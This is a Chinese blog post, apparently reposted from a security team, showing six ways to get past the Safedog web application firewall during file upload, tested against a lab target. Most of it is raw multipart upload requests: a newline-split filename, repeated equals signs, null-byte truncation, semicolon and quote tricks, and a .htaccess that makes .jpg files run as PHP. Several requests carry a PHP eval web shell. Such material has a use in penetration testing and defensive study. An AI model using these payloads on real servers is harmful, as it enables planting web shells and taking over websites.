文件上传绕waf

admin 2022年1月6日02:02:23评论154 views字数 1526阅读5分5秒阅读模式

综述

文件上传实质上还是客户端的post请求,消息主题是一些上传信息。前端上传界面需要制定enctype为multipart/from-data 才能正常上传文件。

此处不讲各种中间件解析漏洞,只列举几种safe_dog对脚本文件上传拦截的绕过。

靶机环境:

win2003+safe_dog4.0.23957+webug中的上传

1、换行

1
2
3
4
5
6
Content-Disposition: form-data; name="file"; filename="1.p
hp"
Content-Type: image/jpeg

<?php @eval($_POST[1])?>
-----------------------------127619278770

img

2、多个等号 (不止2,3个)

1
2
3
4
5
Content-Disposition: form-data; name="file"; filename=="2.php"
Content-Type: image/jpeg

<?php @eval($_POST[1])?>
-----------------------------127619278770

img

1
2
3
4
5
Content-Disposition: form-data; name="file"; filename==="3.php"
Content-Type: image/jpeg

<?php @eval($_POST[1])?>
-----------------------------127619278770

img

3、00截断

1
2
3
4
5
Content-Disposition: form-data; name="file"; filename="4.php%00"
Content-Type: image/jpeg

<?php @eval($_POST[1])?>
-----------------------------127619278770

img

4、文件名+;号

1
2
3
4
5
Content-Disposition: form-data; name="file"; filename="6;.php"
Content-Type: image/jpeg

<?php phpinfo()?>
-----------------------------127619278770

img

img

5、文件名+‘

1
2
3
4
5
Content-Disposition: form-data; name="file"; filename="7'.php"
Content-Type: image/jpeg

<?php phpinfo()?>
-----------------------------127619278770

img

img

6、上传.htaccess

1
2
3
4
5
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php jpg
-----------------------------127619278770

img

然后再去正常的上传一个jpg文件,内容写为

img

最后访问8.jpg 以php解析

img

7、参考:

https://www.t00ls.net/viewthread.php?tid=51253&highlight=%E5%AE%89%E5%85%A8%E7%8B%97

https://www.t00ls.net/viewthread.php?tid=50690&highlight=%E5%AE%89%E5%85%A8%E7%8B%97

转载自T9Sec Team

FROM :b0urne.top | Author:b0urne

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日02:02:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   文件上传绕wafhttp://cn-sec.com/archives/722985.html

发表评论

匿名网友 填写信息